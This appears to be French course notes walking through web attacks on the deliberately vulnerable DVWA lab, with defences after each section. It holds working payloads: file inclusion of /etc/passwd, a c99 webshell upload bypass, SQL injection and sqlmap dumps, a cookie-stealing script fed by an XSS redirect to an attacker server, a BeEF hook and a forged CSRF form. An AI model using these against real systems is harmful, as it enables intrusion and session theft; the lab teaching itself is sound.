Vulnérabilité Web

Exploiter les vulnérabilités WEb

OWASP

Open Web Application Security Project (OWASP) est une communauté en ligne travaillant sur la sécurité des applications Web. Sa philosophie est d'être à la fois libre et ouverte à tous. Elle a pour vocation de publier des recommandations de sécurisation Web et de proposer aux internautes, administrateurs et entreprises des méthodes et outils de référence permettant de contrôler le niveau de sécurisation de ses applications Web.

Classement des faille selon l'OWASP 2013 un nouveau classement est en cours pour 2017

  • A1 – Injection
  • A2 – Violation de Gestion d’authentification et de Session
  • A3 – Cross-Site Scripting (XSS)
  • A4 – Références directes non sécurisées à un objet
  • A5 – Mauvaise configuration sécurité
  • A6 – Exposition de données sensibles
  • A7 – Manque de contrôle d’accès au niveau fonctionnel
  • A8 – Falsification de requête intersites (CSRF)
  • A9 – Utilisation de composants avec des vulnérabilités connues
  • A10 – Redirection et Renvois non validés

CARTOGRAPHIE DU SITE

Cartographier un site

  • Pouvoir récupérer le plan du site
  • Un site est constitué d’une multitude de pages => Arborescence
  • URL/URI => Emplacement d’une ressource
  • Une ressource peut être locale ou externe
  • Listing
  • Complication au niveau des sites dynamique
  • Plus une prise d’empreinte que de la cartographie

Vega

Vega est une plate-forme open source pour tester la sécurité des applications web. Vega peut vous aider à trouver et valider les injections SQL, Cross-Site Scripting (XSS), divulgués par inadvertance des informations sensibles et d'autres vulnérabilités. Codé en Java Vega comprend un scanner automatisé pour les tests rapides et un proxy filtrant pour l'inspection

Burp Suite

Burp Suite est une plateforme complète permettant d’effectuer des tests de sécurité sur des applications Web. BurpSuite permet :

  • Analyser/modifier et les rejouer les requêtes.
  • Approfondir la recherche des vulnérabilités Web
  • Très puissant et possède plusieurs perspectives sécuritaires

Utilisation de Vega :

Dans unterminal lancer

vega
  • Onglet scan => start => new scan
  • Renseigner l'adresse du site web => Finish
  • Yes pou être redirigé vers le nom de domaine

utilisation de Burp Suite

Dans unterminal lancer

burpsuite

Interface web Les différents onglet

  • Target => Onglet concernnant les sites cible
  • Proxy => Onglet concernant les proxy, interception de requêtes, modification de cette dernière
  • HTTP history => Onglet concernant l'historique HTTP
  • WebSocket history => Onglet concernant les socket
  • Spider => Onglet permettant de réaliser la cartographie du site
  • Scanner => Module permettant de scanner au niveau des failles présente sur le site ==> payant
  • Intruder => Module de paylaods exploitable, brute force ...ect
  • Repeater => Répéteur de requêtes HTTP => permet d'analyser en détail des requêtes HTTP et de les forger (modifier) soit même
  • Decoder => permet de décoder ou encoder tout ce qui texte ou autre
  • Extender => concerne les extentions qu'on pourra utiliser au niveau de BurpSuite => BApp Store => Burp Chat/JEE Scaan/Google Hack ...
  • Options => Permet de modifier les options avancées de BurpSuite
  • Alert => Récupérer les alerte re retenu lors de notre scan

La onnexion à BurpSuite se fait directement via un proxy ==> on ne peut pas choisir directement le site qu'on souhaite scanner mais BurpSuite va le récupérer directement dans le navigaéteur

Configurer le proxy dans le navigateur

  • Option => Préférences => Advenced => Network => Settings
  • manual proxy configuration
  • HTTP Proxy 127.0.0.1 ==> Port 8080
  • cocher use this proxy for all protocol
  • Valider => Fermer

Tester le fonctionnement du proxy

  • Aller sur un site quelconque
  • Dans BurpSuite aller vers l'onglet Proxy => Intercept
  • Désactiver l'interception des données
  • Raw => Permet de voir/modifier la requête ou ajouter des actions à la requête
  • Headers => Permet de visualiser le header et modifier ses paramètres
  • Hex => Visualiser les valeurs hexadécimal
  • Forward => Pour faire passer la requête

Dans l'onglet de gauche choisir l'url qu'on souhaite scanner

  • Clic droit => Spider this host => Pour effectuer la cartographie du site
  • Dans l'onglet request sur la fenêtre du bas
  • Raw => Visualiser la requête / Les cookies ..etc
  • params => visualiser les paramètres
  • headers => Paramètre du header
  • On peut aussi jouer avec le répéteur dans l'onglet repeateur pour rejouer des requêtes et analyser la réponse

LES FAILLES PHP

Liste des failles qu’on va traiter

  • Faille Include
  • Faille Upload
  • Les injections SQL
  • Les failles XSS
  • Cross-Site Resquest Forgery (CSRF)

LA faille Include

La faille include est une faille très dangereuse, ancienne mais toujours présente sur le web.

  • Fonction vulnérable : include().
    • Cette fonction est très souvent utilisée pour exécuter du code PHP se situant dans une autre page ==> <?php include('config.php'); ?>
    • Peut être local : LFI pour Local File Include
    • Ou externe : RFI pour Remote File Include

Exploitation faille Include

  • Dans DVWA (Metasploitable 2) onglet => File Inclusion.
  • On remarque dans l'url la présence d'une variable page qui contien => include.php
  • changer le contenu de cette variable "page" dans l'url par ?page=/etc/passwd pour inclure le fichier /etc/passwd
  • Ensuite par ?page=/../../../../../../var/www/index.php pour inclure le fichier index

Se protéger de la Faille Include

  • S'assurer que les pages que l'on inclut sont bien sur notre serveur
  • Fonction : file_exists('name');
  • Configuration .HTACESS

Faille Upload

Faille très connue, et présente ... Permet de :

  • Permet de backdoorer un serveur
  • Exécution de scripts malicieux
  • Plusieurs exploitations possibles :
    • Double extension
    • Bypass Mime vérification
    • Sélection du répertoire de destination

Exploitation Faille Upload :

outils necessaires

  • DVWA
  • BURPSUITE

Utilisation :

  • Configurer le proxy sur le navigateur
    • Préférence ==> Advenced ==> Network ==> Settings
    • Cocher la case Manual proxy configuration
    • HTTP Proxy 127.0.0.1 ==> Port 8080
      • Entrer l'adresse de DVWA sur metasploitable 2 dans le navigateur
      • Se rendre dans DVWA security et mettre la sécurité à low.
      • Se rendre dans upload
      • copier le code php disponible ici https://github.com/tennc/webshell/blob/master/php/PHPshell/c99/c99.php ==> dans un fichier appeler c99.php
  • browse ==> choisir le fichier c99.php
  • Lancer BurpSuite => Onglet proxy => intercept on
  • Dans DVWA uploader le fichier
  • Retourner dasn BurpSuite pour changer la requête
  • Dans raw changer la requête

Changer la requête HTTP comme suit :

Content-type: application/x-php ==> Content-type: "image/jpeg"
..........1845445452445341 ==> ...........100000

Cliquer sur Forward pour relancer la requête ainsi modifier

  • Dans le navigateur on vois que le fichier est uploader à l'adress ../../hackable/uploads/c99.php
    • Se rendre sur cette url @IP_serveur_metasploitable2/dvwa/hackable/uploads/c99.php
    • Jouir du shell c99.php

Se protéger de la Faille Upload

  • Renommer les fichiers avec des noms aléatoires et sans extension
  • Proscrire tout les caractères <,>,?,&,; mais attention à leurs équivalents dans les autres encodages (urlencode, ascii...)
  • Limiter la casse
  • Interdire l’exécution de fonctions critiques au niveau du serveur
  • Configuration .HTACESS

LES FAILLES SQL

Les injections SQL

Conciste à envoyer des données à une application qui vont générer un bug. Utilise les chaines et les interprète comme des commandes. Est l'une des failles les plus connue et les plus dévastratisse. Permet d'accéder et de modifier librement une base de données

L’attaque en question

1 - L'application fournit généralement un formulaire/espace login ou autres 2 - L'attaquant envoi sa requête bombe dans les données du formulaire 3 - L'application transfère les données à la requête SQL 4 - Le SGBD lance la requête contenant la bombe et renvoie les résultats que recherche l'attaquant 5 - L'appliation renvoie ce résultat à l'attaquant

Scénario de base

Détection :

http://www.mydomain.com/products/products.asp?productid=1

Injection :

http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Requête résultante :

SELECT ProductName, ProductDescription FROM Products WHERE ProductID = '123' UNION SELECT Username, Password FROM Users;

SQLMap

Support de MySQL, Oracle, PostgreSQL et Microsoft SQL Server. En plus de ces quatre systèmes de gestion de base de données (SGBD), SqlMap permet également d’identifier Microsoft Access, DB2, Informix, Sybase et Interbase.

  • Support pour énumérer les utilisateurs, les mots de passe, les privilèges, les tables, les colonnes, etc.
  • Prise en charge de plusieurs techniques d’injection SQL : en aveugle, UNION, etc.
  • Prise d’empreinte de serveurs Web
  • Intégration avec d’autres projets tels que w3af et Metasploit
  • Support des méthodes d’authentification : HTTP Basic, NTLM et par certificat
  • Et bien d’autres ...

Outils qu’on utilisera

  • SQLMap
  • OWASP Zed Attack Proxy (ZAP)
  • Hash-identifier
  • Votre cerveau ;)

Les injections SQL

Dans DVWA se rendre dans l'onglet SQL injection

  • Dans le formulaire taper 1 ==> le site renvoie le nom et le ursername de l'utilisateur ayant l'id 1
  • Renvoyer 1' pour voir si la faille SQL injection est présente
  • Toujours dans le formulaire taper 1' OR 1=1# ==> la BDD renvoi l'ensemble des utilisateur présent dans la table
  • 1' OR 1=1UNION SELECT null,version()# ==> Récupérer la version du serveur mysql
  • 1' OR 1=1UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables# ==>Afficher le schéma de la base de données
  • 1' OR 1=1UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns where table_name='users'# ==> Récupérer les champs de la table users
  • 1' OR 1=1UNION SELECT null, concat(user,0x0a,password) FROM users# ==> Récupérer la valeur des champs user et password Si les mots de passe sont hacher utiliser un craker comme jhontheriper, Hydra etc... ou bien rechercher le type de hash en question dans un terminal taper :

    hash-identifier copier le hash dans un navigateur taper md5craker pour voir si le hash existe

Avec SQLMAP

Dans un terminal

sqlmap -u "http://@IPDVMA/dvwa/vulnerabilities/sqli/?id=NULL&Submit=Submit#" --cookie="nosCOOKIES; security=low" --dump

Laisser les paramètre par défaut en répondant "Y" à toutes les questions

cd /root/.sqlmap/output/ip_cible/dump/nom_base_dumper   # accéder au informations qui on été dumper et sauvegarder
cat users.csv                                           # Afficher le contenu

Avec ZAP proxy ==> OWASP

Dans un terminal

zaproxy

Dans le navigateur activer le proxy

  • Préférence => Advenced => Network => Settings => Cocher Automatic proxy configuratio URL
  • Dans DVWA aller dans la partie SQL injection et taper 1 dans le champs pour que zaproxy pusse récupérer les informations
  • Dans zaproxy clique droit sur le lien du site ==> attaquer => balayage actif
  • Une fois le scan terminer voir dans l'onglet alerte pour voir se qui a été trouver
  • Pour avoir plus d'informations sur les failles sql trouver dans alert => inection SQL=> double cliquer

Se protéger des injections SQL

1 - Eviter les interpréteurs 2 - Encoder toutes les données fournies par l’utilisateur avant de les passer à l’interpréteur ( Un point à ne pas oublier ) 3 - Effectuer une validation de type “white liste” sur les données utilisateurs. 4 - Minimiser les privilèges dans vos bases 5 - Paramétrer les entrées

Les FAILLES XSS

XSS (Cross-Site Scripting)est devenu quelque chose d'élémentaire sur les sites. Des données venant d'un hacker sont envoyé à la victime et permet le vol des sessions utilisaeurs, de données sensibles, réécriture de la page web, redirection vers un site d'hameçonage ou autre code malveillant, installation d'un proxy XSS permettant à un attaquant d'observer le poste client voire de forcer l'utilisateur ver un site particulier, etc...

Exemple script de base

<?php
$fichier = "cookie.txt;
if(isset($_GET['cookie']))
{
    $handle = fopen($fichier, "a");
    fwrite($handle, $_GET['cookie']."\r\n);
    fclose($handle);

    echo "Ligne ajoutée<br/>";
}

$handle = fopen($fichier, "r");
while($data = fgets(handle))
{
    echo $data . "br/>;
}
fclose($handle);
?>

Deux type de XSS

  1. Reflected XSS => XSS réffléchit ( Non persistante )
  2. Stored XSS => XSS stocké (persistante)

Exploitation avancée XSS via BeEF

BeEF The Browser Exploitation Framework ( http://beefproject.com/ ) est unoutil de pentest basé client-side utilise des techniques similaire aux drive-by malware et accède directement à l’environnement du client. BEEF est un Framework de Social Engineering

Outils qu’on utilisera

  • BeEF
  • XSSer
  • OWASP Zed Attack Proxy (ZAP)
  • Exploitation à la main

XSS refléchit :

Dans DVWA

  • Se rendre dans la partie XSS reflected
  • tester de taper un nom ==> On remarque que le nom à été ajouté à la variable name en GET dans l'url
  • dans la zone du formulaire exécuter un code javascript

    <script>alert(pwn)</script>
    • Si le code est éxécuter cela traduit que la variable name est sensible à la faille XSS

XSS Stoqué :

Dans DVWA

  • Se rendre dans la partie XSS stored
  • On observe deux champ un name et un champ message ==> qui est une suite de livre d'or ou on met son nom et le message que l'on souhaite envoyer
  • dans le champ name on met un nom quelconque puis dans la partie message on va essayeer de taper un code javascript

    <script>alert(pwn)</script>

    Envoyer le message Se que l'on peut remarqué c'est qu'une fois sortie de la page et lorsqu'on y retourne le code s'exécute automatiquement car le code malicieu à été stocké dans la base.

XSS via script

  • Créer le scripts vu plus haut et l'héberger sur un serveur web
  • dans DVWA => dans la partie XSS reflected ==> dans le champ de formulaire => entrer l'url suivante

    <script>location.replace("http://@IP_server_script/script.php?cookie="+document.cookie)</script>

Dans le dossier ou est héberger notre script on peut constater que le fichier cookie.txt à été créer et qu'une ligne avec les cookies à été ajouté

XSS via ZAP

Dans un terminal lance

zaproxy

Configuration :

  • Plug-n-hack notre navigateur
  • Cliquer pour configurer
  • Accepter les termes et activer
  • Dans le navigateur => Préférence => Advenced => Network =W> Settings => cocher Automatic poxy configuration URL
  • Dans DVWA => dans la partie XSS reflected entré un nom quelconque dasn le champ et envoyer
  • Retourner sur zaproxy => Le site est automatiquement ajouté
  • Cliquer droit sur la requête => Attaquer => Balayage actif avancé => laisser les paramètre par défaut => Lancer le scan
    • Dans la zone d'alerte on peut voir les différente faille détecté
    • Dasn ce cas on observe bien la faille XSS réfléchit détecté par le scan
    • Double clic pour voir les détails sur la vulnérabilité

XSS via XSSER :

Faire le script suivant

    <html>
    <?php
    $name = $_REQUEST ['name'];
    ?>
    <html><body>Hello, <?php echo $name; ?>!</body></html>

Dans un terminal taper :

xsser --gtk => --gtk pour la version graphique  
xsser            # pour la version en ligne de commande
  • Cocher l'option Intruder
  • Renseigner le lien vers le script avec la variable name présent dasn le script
  • cocher verbose
  • Lancer FLY!!!
  • Dans un navigateur taper le lien vers le script avec la variable name et un script javascript pour vérifier que ce n'est pas un faux positive

    @IP/script.php?name=<script>alert(1)</script> 

XSS avancer avec BEEF

Dans un terminal taper :

beef-xss

copier l'adresse =>

  • Se diriger sur DVWA => dans la partie XSS reflected et injecter le script dans le champs formulaire

    <script src="http://@IP_BEEF:3000/hook.js"></script>

    On peut constater sur beef l'ajout automatique de la machine en mode online Parcourir BEEF pour voir les possibilités (qui son très nombreuses) de command à exécuter

Se protéger de la faille XSS

  • Utiliser la fonction htmlspecialchars(), qui convertit les caractères spéciaux en entités HTML.
  • Utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu’elle filtre tous les caractères équivalents au codage html ou javascript.
  • Utiliser strip_tags(), cette fonction supprime toutes les balises.
  • Ne pas inclure de contenu fourni par l’utilisateur dans la page de sortie !!! ( supprime la faille )
  • Effectuer de la validation de type « white liste » pour les données utilisateurs entrantes qui sont incluses dans une page.
  • Perl : escapeHTML() dans CGI.pm
  • J2EE : utilisation des taglibs ou des classes javax.swing.text.htm

Les FAILLES CSRF

SRF ( Cross Site Request Forgery ) est une attaque ou le navigateur de la victime génère une requête vers une application Web vulnérable. Cette vulnérabilité est causé par la capacité qu'on les navigateur d'envoyer automatiquement des données d'authentification (session ID, IP adesse, compte de domaine windows,..) dans chaques requête.

Que se passerait-il si un attaquant pouvait utiliser votre souris pour effectuer des clicks sur votre site de banque en ligne à votre place ?

Ex. Initiation de transaction(transfert de fonds, logoff, modification de données, ...). Les possibilités sont juste infini.

C’est quoi un identifiant automatique?

  • Cookie de session
  • Une entête d’authentification HTTP
  • Une adresse IP
  • Les certificats SSL client
  • L’authentification de domaine Windows.

Exloitation de la faille CSRF

Dans DVWA se diriger vers la zone csrf

  • Une fois dasn la zones csrf on remarque un formulaire pour changer de mot de passe
  • Essayons de changer le mot de passe de façon normal
  • dans l'url on remarque le changement de password via le passage des paramètres qui utilise la méthode GET
  • Maintenant faire clique droit afficher le code source de la page et récupérer la partie de code qui correspond au formulaire
  • Dans un editeur de text qu'on va appeleer csrf.html
  • Définir le squelette HTML et enregistrer

    <html>
        <body> 
            <form action="192.168.233.128/dvwa/vulnerabilities/csrf/?" method="GET"> Current password:<br>
            <input type="password" AUTOCOMPLETE="off" name="password_current" value="wallker"><br> New password:<br>
                <input type="password" AUTOCOMPLETE="off" name="password_new" value="shado"><br>
                Confirm new password: <br>                      
                <input type="password" AUTOCOMPLETE="off" name="password_conf" value="shado">
            </form>
        </body>
    </html>
  • Copier l'url de la page cible : @IP/dvwa/vulnerabilities/csrf/? et le coller dans le formulaire dans la partie "action="
  • Ouvrir le formulaire dans un navigateur et cliquer sur change pour confirmer l'envoie du formulaire

Se protéger de la faille CSRF

  • Ajouter un jeton CSRF, non envoyé automatiquement, à toutes les requêtes sensibles Cela rend impossible pour l’attaquant de soumettre une requête valide (sauf si en plus il y a une faille XSS).
    • Ces jetons doivent être sûrs cryptographiquement.
    • Stocker un seul jeton dans la session et l’ajouter à tous les formulaires et liens
    • Ne pas laisser un attaquant stocker des attaques sur le site